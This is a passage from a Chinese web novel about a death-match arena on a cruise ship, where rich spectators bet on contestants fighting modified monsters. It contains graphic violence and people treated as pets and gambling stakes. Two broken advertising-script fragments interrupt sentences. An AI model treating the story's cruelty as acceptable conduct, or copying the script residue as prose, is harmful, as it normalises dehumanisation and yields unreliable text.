女人吐了口烟,漫不经心地扫了秃头一眼,“表?” 秃头一拍大腿,“不愧是我刘姐,观察力这么敏锐——表被她弄脏了,沾了血的东西不吉利,我记得您手底下有个挺有名气的驱邪师,能不能借我用用?” 刘丹:“五千。” 秃头连连点头,把自己名片递过去,笑得很谄媚:“那就麻烦刘姐了。” 靠坐在餐桌边上,研究桌上小花的青年,突兀地笑了声。 “真大方。” 毫不掩饰的阴阳怪气。 在商场上游刃有余的秃头,对于这种嘲笑已经习以为常,笑脸不变。 “哎呀尚公子说笑了,像您和刘姐这样的大人物,手底下养的肯定都是人才,这些人都傲,我一个小商人他们平时看都不带看一眼,还得是刘姐赏光,我才能用一用人家,五千对人才来说,哪算钱呀。” 尚泽轻嗤,不感兴趣地继续研究小花。 看来算是糊弄过去了。 秃头松了口气。 这三人里面,就他身份最低,废了许多钱和人脉,这才和他们排在一个房间,就算那男的要他跳桑巴舞,他也得笑脸相迎把屁股扭起。 作为白日梦科技的股东,前不久在公司内部的斗争中元气大伤,底子略空急需补充,若非如此,他也不会接受邀请上船。 这次船上的情况比较复杂。 有消息说,十三区弄出了个不得了的东西,一个人能顶一只军队,主办方感觉有意思,把他买了下来,就用在这场斗兽中。 周围人都觉得刺激,也好奇这玩意能强到什么程度,他表面附和,心里却怕极了,只觉得他们全是不要命的疯子。 万一怪物失控,谁愿意当那个救世主? 秃头想要活跃气氛,但刘丹只是抽烟看终端,时不时逗逗跪在她脚边的小宠物,爱答不理的;尚泽站在不远处的单向玻璃前,正饶有兴趣地打量斗兽场的布置,同样没有和他说话的打算。 秃头识趣地作罢。 房间变得安静,小宠物低着头,战战兢兢不敢发出声音。 都是不把人当人的资本家,不能惹。 哗啦哗啦—— 正做着自己事情的几人,向声音的源头看去。 左侧靠墙布置了小吧台,墙上还有更多的酒,阮知闲站在岛台内,正在调酒。 阮知闲上下摇动雪克杯,冰块发出响亮碰撞声,发力时肩膀手臂的肌肉绷紧,隐约能感受到包裹在布料下,极具爆发力的身体。 如血液一般浓稠黏腻的酒液,倒进杯中。 刘丹轻笑,“不错。” 阮知闲看了他一眼,没有回话,点了下头算作回应。 他调酒不是为了喝,酒杯放那没动,自顾自地打开终端不知道在看什么。 像是纯粹无聊时的游戏,又像是在等一个喝酒的人。 刘丹把手上的绳子给秃头,走到小吧台旁边,坐下,接受了他隐晦的邀请。 “谁的人?” 阮知闲:“卡托。” 刘丹眉尾微挑,名为卡托的秃头连忙迎了上来,介绍道:“这是我一个朋友弟弟,阮知闲。”说完又看阮知闲,挤眉弄眼暗示他看气氛,“阮知闲,这位是刘丹,你就叫刘姐吧,你应该在电视上见过她。” 七区卫生环保部明星部长的秘书,经常跟在部长身边,有她发言的地方,必定也有她的存在。 又因为两人长相相似,被网友调侃七区双生花,一个冷艳如火,一个温柔似水。 前者的论坛中充斥着大量的狗,后者则全是“呜呜呜妈妈说话声音好好听妈妈笑起来好好看好喜欢妈妈”之类的。 “这杯桑格塔不错,你还会什么?” 阮知闲依旧沉默,又拿下来几瓶酒,安静地动作。 刘丹并不介意他的冷漠,看他调酒,表情比刚才抽烟时高兴许多。 秃头见气氛起来了,便悄悄退下,不妨碍两人。 阮知闲是黑客的人,黑客帮他的代价,除了大量的金钱之外,还有就是带这个人上船。 这次集会来了许多名流,黑客估计也是听到风声想要来分一杯羹,只是他不方便露面,便派了阮知闲这个代言人。 十三区小酒吧的侍应生。 他本以为这个阮知闲有什么过人之处,上船以后一直盯着,没想到这哥们脑回路异于常人,行动也极其诡谲。 不赌博不社交也不玩游戏,领了套衣服酷酷端盘子,狗来了都得领杯水再走。 搞得他有点迷糊。 ——难道当月薪三千的侍应生也有瘾吗? 更何况船上也没人给他发钱。 上午端水,下午不见人影,他兴奋地想原来一切都是伪装,他终于有所动作。 结果他大爷个螺旋腿的,这哥们勾搭了金主的小宠物,跟人家上.床去了! 搞了一下午,等将近开场才来! 还好。 这小子没忘记自己的任务,玩归玩,一出手就是部长秘书。 他作为中间人,兴许能跟着蹭点福利之类的。 单手插兜的尚泽,看着反光的玻璃面,抬手在上面点了几下。 系统激活,蓝盈盈的光打在尚泽的脸上,安静的房间被主持慷慨激昂的解说声和音乐填满,场地中不同视角的荧幕环绕着他。 尚泽眯了眯眼睛,愉悦道:“终于开始了。” - 斗兽场内的气氛十分热烈,来自七区的歌星站在斗兽场中央,飘飘洒洒的模拟星光围绕着她。 鼓点声越发密集,她一把扯掉拖地长裙,露出一双大长腿,和周围的伴舞狂热地跳起来。 半空中围绕两侧观众区,共投放了带着编号的五十二个屏幕,空中飞舞着蜜蜂大小的摄像头,此刻正围着场地中间的表演,让观众全方位多角度地欣赏。 斐申也听说过这个歌星,跟朋友找到他们的位置后,打开终端,按照工作人员所说的步骤,和场内摄像头链接。 路嘉对女人不感兴趣,将终端画面调整到女人旁边的伴舞身上,看他刻意汗湿的胸膛,转头问斐申:“斐哥,你处理完沈言,可以给我吗?” 斐申现在正烦着,头也不抬道:“你怎么老惦记他?” 哈尔斯面无表情道:“吃不到的当然想,你给我们玩玩就不惦记了。”顿了下,又意味深长道:“之前好像没见你这么护过谁,说给就给了。” 都是一起玩的,臭味相投,知道彼此性格,斐申最受不得激,路嘉就和哈尔斯打配合,笑嘻嘻道:“如果这小东西真是斐哥真爱,那我以后只要看一眼,就把眼珠子挖下来,怎么样?” 斐申冷哼,“你那破眼珠子能值几个钱?” 路嘉听出斐申语气中的松动,继续问:“说起来,斐申准备怎么处理他?” 是个男人都不能忍被人戴绿帽,更别说斐申这种传统的人了。 之前脚踩两条船的女朋友,被他发现以后,奸夫直接埋了,女朋友被他送去变性,目前是个男的。 在沈言被报复之前,他怎么说都得吃一口,不然浑身痒痒。 谁知斐申点了点终端,不甚在意道:“我给送这里去了。” 路嘉惊讶:“诶?我以为参加人员都是固定的,早知道就给哈尔斯报名,免得他一身蛮力没处放。” 哈尔斯笑骂:“滚蛋。” 两人之后都默契地没提沈言,只是把终端打开,从唯二的两个准备室转播画面中,寻找沈言的影子。 斗兽场是他们上船以后才知道的事,对它的了解仅限于可以观看,但斐申能给沈言开通报名渠道,很显然是有内部人员的授意。 整个轮船的活动的主办方和投资方是来自十三到七区的各个大佬,这次比赛的人员和改造品都由他们提供,这些大佬们暂时还不是他们这些富二代公子哥能触碰到的阶级。 斐申……有点东西。 斐申不知道在小伙伴眼中,他因为这一件事而变得高深莫测,现在只顾着担心。 他找到沈言了。 画面中的一个小点,他放大放大再放大,毫不意外地发现,在其他选手听见斗兽场上激昂的音乐,正原地活动、调试身体设备,做准备活动时—— 他躲在角落,自闭。 沈言有一米八几,蹲在墙角,抱着双膝瑟瑟发抖,从胳膊里抬出一双眼睛,惶惶不安地看着那些奇形怪状的改造人。 斐申闭目。 由内而外的炮灰气质,肉眼可见的前途黑暗。 路嘉和哈尔斯看了以后都不敢认,两人上上下下看了好一会,才确认这位胆小大喷菇就是沈言。 原来高冷精英的皮囊底下,装的全是草。 路嘉尴尬地勾起嘴角,看向斐申,看斐申脸色铁青,竟然共情起来,刚要安慰他让他别太在意,讲点带有人性关怀与温暖的话,就被巨大的爆炸声打断。 所有人的注意力,都被吸引到了场上。 斗兽场中央缓慢腾升起亮晶晶的电子烟雾,散碎的烟雾几番变换,最终组成一个画着浓妆的,美艳的男人的脸。 “wee to 珍珠八号!刺激又热血的比赛即将拉开帷幕!” “是人类的胜利,还是科技的辉煌?是勇敢无畏,还是胆怯躲藏?汹涌兽潮之下,究竟能剩下多少幸存者?人性的挣扎,生命的呐喊尽在其中!无限精彩!” “倒计时一分钟,start——” 大脸消失,变成翻页计时器,数字不断变化,很有紧迫感。 “本场淘汰赛的竞赛规则已经发送至各位终端,为了增添比赛乐趣,主办方开设了娱乐□□项目,各位贵客可以登录珍珠八号小程序进行参与!” 男人用极具诱惑力的声音说: “奖池五十亿!心动请下注!” 点开小程序,里面是432名参赛选手的全部资料,排行给予官方给定的,由身体素质、智力水平、改造程度等多方面综合而成的数值进行排序。 前四十九和最后一名的右上角,都有一个小摄像头的标志。 “本场所有科技均由永恒科技提供,进场后的摄像头跟随前四十九名和最后一名,还有两个全局捕捉视角的摄像头以供贵客参考!” “十分钟后,□□项目正式开启,现在,请将注意力集中到赛场上,我们的选手,即将登场!” 斐申的情绪也被调动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,画面中其余选手已经完成了准备,目光灼灼地盯着出口方向。 沈言缓缓起身,跺了跺脚,深深叹气,一副认命了的模样。 主持人慷慨激昂:“让我们一起倒计时——” “三!” “二!” “一!” “有请我们的主人公,登场!” - 斗兽场圆形结构,左右是观众和VIP坐席,上面是出人口,下面是出兽口。 一共五百多只怪物,早早被工作人员放了出来,现在大门关着,亦能感受到它们令人胆寒的高声尖叫。 场内高高低低竖立着十几根可供人攀爬的柱子,柱子顶端会随机刷新各种道具,每十五分钟,还会有观众自愿捐献的其他道具作为空降。 准备室的大门打开,选手飞快进入场地,抢占地盘。 与此同时,蜜蜂摄像头进行跟随,大屏幕上出现五十张脸。 排名第一的是个两米多高的男人,光头,裸露的皮肤上纹了许多花纹,而这花纹现在正泛着红色的光。 他一出场,就激动地仰头大笑,崩裂了上半身衣服,露出机械化的胸膛。 “我去,全身改造?真有钱,不对,真命大。” “真有钱就不会来这地方卖命了,我看是他主人真有钱吧。” “可爱,想养。” “哈哈哈哈,快看最后那个,一个健康人?是不是得罪了船长,被送到这个地方来,当怪物的口粮?” “好可怜的小宝贝,这么好看,他主人也真舍得放。” 五十个屏幕整齐排列,右下角和其他屏幕格格不入,被拍摄的人脸上的恐惧和绝望不加掩饰。 光是听到这些怪物的吼声,就吓坏了胆子。 饶有兴趣地欣赏过后,慕强心理让观众很快转移视线,观看沈言专拍的人基本都散了。 最后只剩下一个。 另一边,怪物侧大门打开,饥肠辘辘到丧失理智的怪物奔腾而来,地面震颤。 拳头大小的、铺成一片的蜘蛛移动速度飞快,吐出来的青白色蛛丝只要踩上就拿不来;足有人大腿那么粗的蟒蛇蜿蜒前行,嘴巴被改造成一口一个人头的锯齿,一口下去,少儿不宜。 各种各样改造过的生物实验体席卷而来,纯粹的野性力量蛮横凶残,出场不过十几秒,生存人数就降到了三百多。 沈言第一时间赶到柱子边上,仰头看不到顶,很多人往上爬去拿道具,沈言爬了两下,又缓缓地滑了下来。 半空有变异的鸡,胳膊那么大,一口就能把人肩膀叨个洞。 沈言从地上随便捡了根胳膊,这人安装了激光刀,可惜还没来得及用,身体就被黑压压的虫子啃光了。 幸好这些虫子也没能活太久,另一位选手的喷火器天克它。 而当时沈言就在喷火哥身边,不经意地被他庇护了一下。 喷火哥死了以后,沈言又像无头苍蝇似的乱跑。 而每一次他即将被弄死的瞬间,旁边刚好有人也会被攻击波及,不得不出手相救。 莫名当了英雄的选手,被沈言极其真诚地一通感谢,也不好再说什么,只是皱着眉让他滚。 沈言臊眉耷眼的溜了。 说滚就滚,超听话。 此时已经过了十分钟,场上的局势渐渐稳定下来,第一波没能适应战斗的人已经死了,现在活着的多少有点本事。 而最让人出乎意料的,就是排名末尾的沈言。 由于死了太多人,本来编号为432的沈言,现在一跃成为282。 很多好奇的人又重新涌了进来。 官方组建的讨论室热闹非凡。 【282还没死?……现在变273了。】 【我要是有他一半能苟,也不至于被老婆的老公打成瘸子了。】 【这小子有点幸运在身上,有人知道他是谁带来的吗?认识认识,明天赌场上玩两把?】 【我压五毛,他能活到最后】 【这点小钱还算赌?我押一百万,他活不到】 赌局已开,赌注多种多样,主办方很懂这些人的心思,很快就开了沈言专题。 【原432选手,能不能活到最后?】 【能/52;不能/989372】 沈言知道有很多人在看。 他想装出“脸色苍白、嘴唇发抖”的样子,但是这个实在有点难。 全场乱跑,让他身体机能都得到激活,不仅不觉得害怕,反而特别兴奋。 脸色红润,双目炯炯有神熠熠发光,甚至越跑越快,还能顺手拉一个跌倒在地险些被巨狼咬死的选手站起来。 他甚至跑得想笑。 尽管赛场上尸横遍野,血腥味扑鼻,但一想到自己原本生活幸福家庭和睦养狗养猫养花养草没事闲着没事就出去旅游到处玩。 现在却沦为四等公民,在斗兽场跑生跑死一天见的尸体比他一辈子见的都多,还被上百双眼睛注视、评价,拿他的生死做赌注—— 而这一切都是他自己一手造成的。 太好玩啦,哈哈!哈哈哈哈! 括弧没有崩溃的意思。 沈言仿佛分裂成了两个人,一个支配着他的表情和身体,假装窝囊老实人并愉悦享受现场; 另一个他理智浮在半空,冷静思考之后的对策。 这么跑下去不是办法。 比赛一共三个小时,现在放出的这些怪物都只是开胃小菜,最大的作用就是用来淘汰那些身体素质、反应能力以及运气不太好的人。 等形式渐渐稳定下来,人类掌控局面时,场上会剩一百来人。 这不是主办方想看到的场景。 他们希望最后只剩五十来人。 现在的人太多了。 在最后的半个小时,他们会放出更多本来准备用在之后几场战斗中的怪物,届时如果不是真的能打、会打或者拿到关键道具,则必死无疑。 先不说他能不能挺到那个时候,凭他现在的亢奋状态,再跑一个小时就得歇菜。 浑水摸鱼走到尽头,他得做点什么,但是又不能太明显。 阮知闲肯定在看。 怎么办? 他的目光,落在不远处,刚由观众打赏空投的道具上。 他走过去,捡起来。 黄色的塑料袋,超大号包装,上面的字迹同样也是超大号,分明地写着四个字—— 么么虾条。 11. 这比赛你就看吧 么么虾条黄色的包装袋上,印着憨态可掬的小狗,小狗嘴里叼着虾条,还戴墨镜,特别酷。 沈言看着小狗,小狗看着沈言。 蜜蜂摄像头很懂事地飞过来,将镜头对准沉默的沈言以及包装袋上的快乐墨镜狗。 【哈哈哈哈哈哈】 【哪个朋友这么会整活?别光放虾条啊,再送点饮料下去嘛】 【感谢老哥送来的小礼物,没什么用但是脆脆的~】 怪不得会被丢在这里。 这么大个,沈言还以为是某种他没见过的武器类道具。 场内派发道具分为两类,武器类和药剂类。 前者就是刀枪棍棒或者部分威力极大但有瑕疵的武器,后者则和它的名字一样,是一些由永恒生物提供的注射、口服类药剂。 尽管药剂没有使用说明,是治疗药还是毒药,都得靠个人分辨或者纯粹地赌命,也没人会放弃它们。 说不定什么时候会用上。 沈言来拿虾条的时候是带了点侥幸心理,万一道具持有者不小心刚刚死亡,而道具又恰好没人捡呢? 现实给了他重重一击。 沈言擦了擦并没有眼泪的眼眶,把眼睛擦红后,又用小刀把它打开。 往嘴里放了一根。 嚼嚼嚼。 沈言突然瞪大了眼睛,浑身发抖,捂着脖子跪坐下去,喉咙里发出令人毛骨悚然的低吼声。 随后用力锤击地面,反握长刀疯狂地戳刺附近已经死去的怪物尸体。 【卧槽,虾条有毒?】 【现场有没有么么的员工啊,要是这么搞我可就不敢买了。】 【人倒霉了喝凉水都塞牙缝,说不低吃得太着急被噎死了呢?】 【上面的,你带着脑子好好看看你这样子离不离谱。】 包厢内,尚泽擦掉笑出来的眼泪,随手往赌盘上又压了一笔,转头跟阮知闲哥俩好道:“后面的小狗和旁边的蛇都已经吃完了,你猜它们两个谁先吃到432?” 阮知闲左边是沈言的单独直播,沈言跪在地面,胳膊紧顶自己的腹部,闭着眼,身体已经没有起伏了,不知生死。 他喝了口酒,没什么情绪道:“不知道。” 尚泽笑道:“我还以为你无所不知呢,你看这个路线,小狗速度虽然比蛇快,但它附近有好多蜘蛛网,而蛇这边……卧槽!” 还没等尚泽洋洋得意地给阮知闲分析完情况,匍匐在地好像失去了行动能力的沈言,突然姿势诡异地站起了起来! 那条大蛇很聪明,打不过就跑,但是又很倒霉,碰上的全是打不过的,遍体鳞伤没吃到一口新鲜饭。 现在看地上倒了一个半死不活的,大蛇特别激动地冲了过来。 唰。 一刀,斩首。 还没反应过来怎么回事的蛇头,掉在地上弹动,嘴张得很大,而蛇身在地上疯狂扭动后,也渐渐失去生息。 沈言灵敏地跳过蛇头被砍后喷洒出来的血液,可还是不可避免地被一些血点子溅到他的胳膊上。 腐蚀性极强的血液,侵蚀了沈言的运动外套,沈言飞快地脱掉外套,但蛇血比他快,沾在他裸露皮肤上的瞬间,就腐蚀出一个硬币大的伤口。 沈言脸上那种让人看着就难受的窝囊气,此刻尽数散去,面无表情地在地上随手捡了把匕首,飞快地将那块肉挖掉,并迅速用割开的运动外套进行包扎, 最后用剩下的布料挽成小兜,把虾条都装里面后,拿着那把不过手掌长,又因为改造者已经死亡而无法激活其他功能的小刀,往怪物堆里冲。 这把小刀没有之前那把腐蚀坏掉的长刀好用,但沈言很灵活,每一次都是有效攻击,每一次都是一击致命。 杀了两三个以后,小刀已经不能用了,而此时他正在同一只淤泥状的怪物缠斗。 淤泥的进食方式和蛇类相同,行动速度缓慢、攻击力不强但是非常能活,被它缠上后三秒内脱困离开就不会有任何危险,选手和怪物们都绕着它走。 只有杀红了眼的沈言,将他视为对手。 淤泥在他脚下,伸出黏腻腥臭的触手往他身上摸,小腿陷进泥里,动弹不得。 淤泥掀开了他的衣服,从他四面八方侵入,速度极慢,却是实实在在的吞噬。 沈言啧了声,放弃所有动作,仰头。 场地内模拟的日光,落在沈言的身上。 他姿态放松,表情舒展,带着与这里格格不入的惬意,摄像头放大他的脸,没人能从他那张漂亮端正的脸上,找到任何恐惧。 像刚完成体育测试的普通大学生,又或者和朋友打完篮球准备回家的普通人。 汗湿的短发发尾,亮晶晶的汗珠坠落的瞬间—— 沈言一把抓住已经攀爬到他胸口处的淤泥,状似没有骨骼和弱点的淤泥,突然极其剧烈地挣扎乱舞。 砰。 极其细微的一声。 某个东西爆开的声音。 淤泥从沈言身上尽数滑落,沈言甩甩手,蹦蹦跶跶,甩掉手上的红紫色血块和身上变硬的泥渣滓,一秒不停地投入下一场战斗。 【啊?????啊啊啊啊??】 【不是这玩意能弄死的吗,咋死的有人分析一下吗???】 【之前在书上看过,好像是九区特有的一种生物,全身没有骨骼,心脏和它的身体没什么区别,在浑身上下四处流动,击杀起来很简单,要么用激光全扫描,要么捏爆心脏——】 【但是后者难度很高,因为它身体的每个地方都像是心脏,除非特别幸运一捏就能捏到,又或者对这种生物十分熟悉,知道它的流动规律】 【但是话又说回来,就算是变异也得在认知范围内变异,432原本那窝囊样,能知道个屁?】 【被嫌弃的淤泥一生,终于等到了杀他的人】 【有人管管吗,这他妈是虾条吗?吃完就变异了是吗???】 【谁往我虾条里加药了?我记得我投的是普通虾条啊!】 【啊啊啊啊我的钱!我压了五十万啊!!!】 聊天室在短暂的沉默后,爆发出又一波针对沈言的讨论,而此刻的赌盘,也发生了翻天覆地的变化。 【原432选手,能不能活到最后?】 【能/9125432;不能/5754321】 刚在“不能”里投了一百万的尚泽,又兴奋地投了两百万赌沈言能行。 沈言的动作行云流水,力道和敏捷程度,和其他经过改造的人相比差了一截,但他差的这些东西都用技巧补足。 生物科技的产品和天然的健康人的战斗,人类的胜利,让尚泽这种同样没经过改造的人,感觉非常舒服。 “他是你什么人?”尚泽转头看阮知闲。 他们在第一层,可以近距离观看场地附近的选手和怪物暴死的惨状,更有体验感。 但视野不足,还是看直播居多。 包厢内有全息投影光屏,阮知闲从比赛一开始,就没转过直播。 他一直在看这个432。 阮知闲的视线,落在红酒倒映的波纹上,没什么表情,但尚泽能感觉到他微妙的愉悦。 “邻居。” 光是邻居,值得这么关注? 在赌盘刚开始的时候,投了五十,后来又追加到一百万。 哪个邻居敢在一边看着窝囊废到处窝囊的直播,一边赌他能赢? 尚泽满脸不信。 秃头终于抓到说话的机会,凑过去假装看比赛,笑呵呵道:“小阮和他的关系不错呢,想必他今天精彩的表现也有小阮的功劳,毕竟在房里交流了一下午呢。” 刘丹看阮知闲,饶有兴趣道:“哦?你们做过?” 大人物的八卦欲,也不比常人弱。 更何况这个三两句话就引起他们注意,不卑不亢,很有发展的年轻人。 阮知闲不说话,去吧台调酒。 挺烈的一杯,由白至蓝的渐变,最盯上浮着一层紫。 点燃,蓝白的火焰成为这杯酒的亮色。 他把酒端给刘丹。 刘丹接过。 尼格罗丹,入口辣得能让人冒眼泪,后调却十分复杂,既有金酒的凛冽,又有甜味美思的醇厚,细品还带着点卡帕瑞的苦。 意味着求而未得的爱情。 刘丹喝了一口,嘴角含笑。 年轻人哟。 - “完了斐哥,我赔死了!” 路嘉抱头大叫,旁边的人没有谴责他,因为那人也是把钱投进“不能”中的一员。 十几万,几十万,这点钱对他们来说就是洒洒水,路嘉只是表演型人格,表现得很夸张,实际并不在意。 而斐申是真的纠结。 比赛开始之前,沈言特意嘱咐他,等赌盘开始,无论出现什么赌题,都要全压他输。 他当时还安慰沈言,让他别那么紧张,浑水摸鱼说不定有机会活下来。 再不济也能假装尸体,受点伤没什么,忍一忍,等比赛结束,他可以给他做手术。 沈言后来表情严肃了一点,坚持自己的观点,甚至是有些强硬地要他这么做。 沈言一开始的表现,和斐申预料的没什么差别。 只是幸运可无法在这场乱斗中活到最后。 他没按沈言的交代押所有钱,只押了十几万。 倒不是因为信任沈言能创造奇迹,而是良心尚存,不太好让沈言的死亡,成为他赌赢的理由。 结果后来的发展,大大超出他的想象。 沈言知道他会因为么么虾条,变得这么猛吗? 还是说…… 他在操控赌盘,这一切都在他的意料之中? 这个离奇的想法刚冒出来,就被斐申挥散,他自嘲地笑了笑,点开赌盘。 鬼使神差地,又追加了一百万的“不能”。 - 从刚刚开始就一直很猛的沈言,其实也筋疲力尽,感觉自己快完蛋了。 他爱好很多,攀岩登山、极限运动和武术格斗都有接触过。 广而不精,只能糊弄糊弄外人的程度。 沈言觉得,自己能在斗兽场上乱杀,靠的百分之二十是对怪物设定的理解,另外的百分之八十,全是那股不知道从哪来的快乐。 但快乐慢慢也燃烧到尽头。 沈言一边看时间,一边又往嘴里塞了把虾条。 嚼嚼嚼嚼嚼。 咽下。 该说不说,确实好吃。 四等公民买不到,也没资格买的食物。 距离下一波怪物放出还有十分钟。 沈言活动活动腿脚,手按着肩颈左右动了动脖子,借着这个动作,状似不经意地看向不远处。 拿了道具,全副武装的精英小队,在开场一小时三十分钟后,没有任何死亡人员。 有些想要加入他们的,不仅被拒绝,连小命都保不住。 靠在外侧,被看着特别彪悍的黄毛,直接刀了。 后来也没人再敢往上凑。 被人围在中间保护的清瘦少年,再一次和他对视。 这一次沈言没有移开视线。 沈言勾唇,右边长了一颗小虎牙,笑起来有点坏坏的顽皮。 他观察四周,弄死一只蝙蝠,卸下蝙蝠的尖牙,不紧不慢地往他们那个小组的方向走。 张雷警惕起来,眼神凶猛,浑身肌肉绷紧,试图吓退这个不知好坏的“外来者”。 将近两米的他,竟感受到极强的压迫感。 尼娅:“易,要杀吗?” 从那个人吃了虾条,突然变得勇猛无敌之后,易就时不时地在场中找他的位置,对他很感兴趣。 易摇头,声音很好听,“看看他要干什么。” 张雷顺从地将,黄毛波顿听完易的话,顿时不爽道:“你想加人?来之前不是说好了——” 他一顿,在队友的注视下,臭着脸把剩下的话吞回肚子里。 易只保证他们一起活下来的几率大于百分之八十,并且承诺至少能让他们活到两小时之后。 黄毛根据他的指挥,自我推测出来的结论,当然不作数。 下意识排斥他的原因,他不愿意承认—— 他怕。 他觉得那个人是疯子、变态,不可理喻,也完全无法预料到他后续的行动。 杀伤力还很强,说不好会把他们全杀了。 明明这个人长得不像坏人,黄毛却莫名其妙地生出极强的危机感。 其他人也一样。 只不过,他心直口快,表现了出来,而其他人没有。 淘汰赛已经开始两个小时了,还有一个小时就能结束,都不想节外生枝。 所有人都紧张地注视着那个青年。 他跨过残破的尸体、血液和各种黏腻的液体,走到易的跟前。 摊开手,是一枚被他擦得很干净的尖牙。 “送你。”沈言笑:“你要不要我?” - 【要!!我要!!!!给我吧给我吧给我吧!】 【哥……我缓缓……我那个了……】 【有点撩,有点嗑,又有点不太好意思在这个场合,skr~】 【金主爸爸要不要再加一个赌局,这哥们太有感觉了,我赌他能进最后一场!】 【你不能因为他帅,就把所有其余条件忽视了吧,之后听说要上生物匹配,健康人接口都没有,拿什么匹?】 【你就说喜不喜欢吧。】 【喜欢。】 【谁带了医生上来?给他安个口,钱好说,我要他比到最后!】 赌局又有变化。 大部分人觉得沈言只靠自己就能活到最后,现在他加入同样生存率很高的团队,在他们眼中,沈言完全就是百分百存活。 押沈言“能”的又翻了三倍,其中有很多都是押了另一边的倒霉鬼。 斐申心脏砰砰直跳,大脑前所未有的精神,理智告诉他应该及时止损将钱投入更浅显的地方,至少还能捞回来一笔。 但身体不听话,往沈言交代过的“不能”中,投入了他可支配的所有钱。 斐申后背冒了一层冷汗。 他做完这一举动后,紧张得反胃,不想再看,离开现场。 出去时,因为精神恍惚,不小心撞到一个男的。 那男人看了他一眼,飞快地说了句对不起后,又压低声音,对终端那头的人说: “明天的药也打进去,他要是醒来,我们全都得死!” 离得太近,斐申听得一清二楚。 估计是轮船上老套的黑吃黑或者别的什么吧。 斐申没太在意,和男人擦肩而过。 - 有道具是真的爽。 之前装老实人的时候,只能观察路线苟命,捡地上死人的机械变体,和被别人打过的针剂用。 装变态以后,可以肆无忌惮地发挥实力,但为了表现他的分裂,还是没去拿道具,依旧是有什么就用什么。 现在,沈言在物资充分的团队中,左手激光枪,右手镭射刀,一左一右简直像开了挂,甚至感性地觉得赛场上的怪物不够杀。 科技,改变生活。 沈言热泪盈眶。 有了沈言,队伍战斗力增强,距离比赛结束还有一个小时,场上的怪物已经被杀得差不多,而人还剩了一百多。 说不定可以提前结束。 队伍里的人忍不住放松一点,还开始聊起等比完以后的事。 “哥们,你哪个区的?”张雷一边给自己包扎,一边好奇道:“身手不错。” 沈言:“一区。” 黄毛冷嗤:“知道你不愿意说,那就不说呗,没必要随口瞎掰拿这种话来堵我们。” 沈言把枪口对准黄毛,“一区。” 黄毛激动地转头,“易!你看他!满嘴鬼话还拿枪威胁我!给他踢出去!” 易看向沈言。 沈言将枪口调转,对准自己,在所有人惊诧的目光中,扣动扳机。 咔哒。 无事发生。 沈言无辜地看着黄毛,耸了耸肩膀,“没办法,想自杀,子弹没了。” 黄毛反复呼吸,不可置信地盯着沈言,而后大叫着端起枪,往天上扫射。 “啊啊啊啊啊——” “你就是故意的!!!!” 怪物十不存一,已经快结束,这些高级的设备,凭他们的资格肯定是用不到了,不如现在用个过瘾。 易飞快地笑了下,其他人也放松很多。 “估计再有个十分二十分的就能结束,到时候去酒吧喝一杯?” 张雷本来是很害怕沈言的,但接触以后,发现他其实是个活泼开朗的小年轻。 沈言点点头,“喜欢鸡尾酒吗?我调酒很有一套哦。” 张雷边笑边很亲昵地去挎沈言的肩膀,沈言往旁边撤了一步,张雷挎了个空。 “不好意思,不太习惯和别人有肢体接触。”沈言礼貌道。 张雷表示理解,刚要换个话题聊聊,却见易眉头紧皱,旋即大叫:“警惕!” 所有人下意识地听从易的指挥,精神紧绷。 已经关闭的出兽口,再一次开启,一波比先前更强的怪物,迫不及待地进入斗兽场。 肉眼可见的,状态和体型,都比上一波好的多。 张雷绝望地惊叫:“这和他跟我说的不一样!” 轮船上的集会是邀请制,组织者先向下发起十个邀请,这十个人又继续发出请帖,直至受邀者达到三百人。 位于邀请层前三轮的,知道有斗兽场这件事,也参与了斗兽场规则的制定。 他们告诉自己的带上船的打手,说第一场的怪物只有一波,全都杀了,比赛就结束了。 所以都拼着一口气,等着最后的那一刻。 主持人依旧激烈昂扬的声音,在整个场馆内回荡—— “战斗战斗战斗!让我看看哪里有偷偷聊天的小懒虫?” “感谢匿名者A购买的怪物盲盒!本场已投放B级改造物一百三十余只!” “规则变更:十二点比赛结束,场上存活选手进入下一轮,或者——” 主持人热情地说:“杀光所有怪物!我们伟大的人类直接胜——出!” 【服了,圈钱没够是吧?看局势正 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 常了就搞这一套?就剩一百来人了还搞幺蛾子,资本家,呕。】 【永恒科技的船,小心你号……哦不对,小心你命】 【没关系的吧,我看432那一组稳的很】 【我看够呛,打了这么长时间,不管是机器还是人都撑不住,更别说健康人了。】 【呜呜呜补药啊……432……补药死啊432……】 聊天室的人表面上一副对沈言不抱希望的样子,背地里打开手机又悄悄在他身上下了几万。 无他,这人实在酷得有点邪门了。 规则变动,噩耗传来,其他人再怎么表现得冷静,打枪的准头也比不上之前。 本来紧着的一口气松了,现在又告诉他们要紧起来。 毕竟不是机械,也不是拧螺丝,怎么可能说紧就紧。 场内弥漫着厚厚的一层绝望,选手们勉强打起精神,应付新的一波怪物。 而沈言,一马当先,活泼阳光地左手突突右手刀,在杀怪的间隙还能抓一点虾条吃。 反人类的亢奋状态,也影响到了队里的其他人,看着这样的勇往直前的沈言,他们的疲惫和绝望,竟奇迹般地消减了。 但精神不能当饭吃,疲惫感堆积,投送的药不敢打,怕赌不对小命不保。 况且现在还没到山穷水尽,非得赌一下的时候。 比赛还有二十分钟结束。 易观察一圈,突然道:“我需要有人和我去三号柱取道具。” 他们现在在斗兽场的东南角,周围已经用派发的部分有防御功能的道具,造成了一个不算太坚固临时阵地。 这个位置很好,周围有七号柱和十三号柱,可以快去快回,风险比起其他柱子要更小。 他们已经囤积了许多道具,上一次七号和十三号的投递他们没拿,现在场上只有一、三、八的道具还在。 这三个柱子是全场最长的,在体力不足的情况下,没人愿意去冒险爬这两个。 张雷说:“离得那么远,风险很大,我们这边省省应该还能撑一会?要不再等等?” 尼娅也不赞同:“我看也是,我没看错的话,三号柱是观众投递,估计也不是什么好东西。” 他又看了眼在前面快乐干架的沈言,悄咪咪地补充:“当然,变异么么虾条除外。” 易:“一定要去,我们的道具只能再撑五分钟,我的任务是保证存活率在百分之八十以上,如果不去,可能完成不了任务。” 所有队员都是今天晚上才认识的,在战斗中有了默契,但也没到能把命托付给彼此的程度。 那条路死亡的可能性,比呆在这里大得多。 你看看我,我看看你,谁也不说话。 他们在等易开口。 易张张嘴—— 沈言这时走过来,把自己在场上捡的,能用的东西放这边后,又往前走了两步。 